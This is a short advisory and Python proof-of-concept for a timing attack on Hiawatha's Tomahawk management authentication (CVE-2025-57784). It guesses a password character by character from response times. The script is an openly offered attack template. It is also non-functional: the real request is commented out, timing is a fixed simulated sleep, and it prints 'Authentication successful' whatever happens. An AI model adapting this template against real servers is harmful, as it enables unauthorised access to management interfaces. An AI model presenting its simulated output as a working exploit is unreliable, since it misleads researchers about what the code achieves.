Tomahawk auth timing attack due to usage of `strcmp` has been identified in Hiawatha webserver version 11.7 which allows a local attacker to access the management client.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-57784 PoC - Timing Attack against Hiawatha Tomahawk Authentication
# This PoC demonstrates the timing attack vulnerability in Tomahawk authentication
import time
import requests
import statistics
TARGET_HOST = "http://target-server:80"
MANAGEMENT_PORT = 8080
USERNAME = "admin"
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
def measure_response_time(password_attempt):
"""
Measure the response time for a single authentication attempt.
In a real attack, this would send a request to the Tomahawk management interface.
"""
start_time = time.perf_counter()
# Simulated authentication request
# In real scenario: requests.post(f"{TARGET_HOST}:{MANAGEMENT_PORT}/tomahawk/auth",
# data={"username": USERNAME, "password": password_attempt})
# For demonstration, we simulate timing differences based on password matching
time.sleep(0.001) # Base response time
elapsed = time.perf_counter() - start_time
return elapsed
def timing_attack_brute_force():
"""
Perform timing attack to discover the password character by character.
Compare response times to identify correct characters.
"""
discovered_password = ""
for position in range(16): # Assume max password length of 16
times = {}
for char in CHARSET:
attempt = discovered_password + char
# Take multiple samples to reduce noise
samples = [measure_response_time(attempt + "X" * (15 - position))
for _ in range(10)]
avg_time = statistics.mean(samples)
times[char] = avg_time
# The character with significantly higher response time is likely correct
# In real attack, this threshold would be calculated based on variance
best_char = max(times, key=times.get)
discovered_password += best_char
print(f"[*] Position {position + 1}: Discovered '{best_char}' (avg time: {times[best_char]:.6f}s)")
return discovered_password
def main():
print("=" * 60)
print("CVE-2025-57784 - Hiawatha Tomahawk Timing Attack PoC")
print("=" * 60)
print(f"[*] Target: {TARGET_HOST}")
print(f"[*] Management Port: {MANAGEMENT_PORT}")
print(f"[*] Username: {USERNAME}")
print("[*] Starting timing attack...")
print()
password = timing_attack_brute_force()
print()
print("=" * 60)
print(f"[+] Discovered Password: {password}")
print("[+] Authentication successful - Access to management client granted")
print("=" * 60)
if __name__ == "__main__":
main()